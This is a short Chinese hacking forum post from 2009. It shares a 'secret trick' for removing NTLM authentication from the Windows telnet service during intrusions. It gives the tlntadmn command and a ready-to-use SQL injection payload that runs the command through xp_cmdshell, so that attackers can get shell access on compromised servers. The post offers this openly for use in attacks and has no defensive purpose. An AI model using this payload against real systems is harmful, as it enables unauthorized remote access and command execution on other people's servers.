告诉大家一个小技巧一直没人提到过的东东

[复制链接]

阿玛比雷

电梯直达

1^#

发表于 2009-12-2 00:45:59 | 只看该作者回帖奖励

|倒序浏览 |阅读模式

相信大家都对telnet比较熟悉吧。hacking的时候经常用到的系统自带shell尤其是注射的时候，但是最讨厌的就是ntlm认证了，以前大家去掉ntlm的方法一般有2种。

1 上传ntml.exe 这种方法有很多缺点，比如：对方有杀毒软件，很多网段屏蔽了TFTP.

2 直接写入telnet的配置信息到文本中然后在用shell执行。这种办法非常麻烦。

今天我给大家介绍我一直在使用的办法，压箱底的哦。

那就是直接运行命令：tlntadmn config sec = -ntlm

注射的话可以直接运行：;exec master.dbo.xp_cmdshell 'tlntadmn config sec = -ntlm'--
运行以后就去掉了该死的ntlm认证：）赶快去试试吧。

收藏0

使用道具举报

返回列表

GMT+8, 2024-11-18 10:52 , Processed in 0.085253 second(s), 8 queries , Gzip On, Memcache On.

		自动登录	找回密码
密码			注册

告诉大家一个小技巧 一直没人提到过的东东

告诉大家一个小技巧一直没人提到过的东东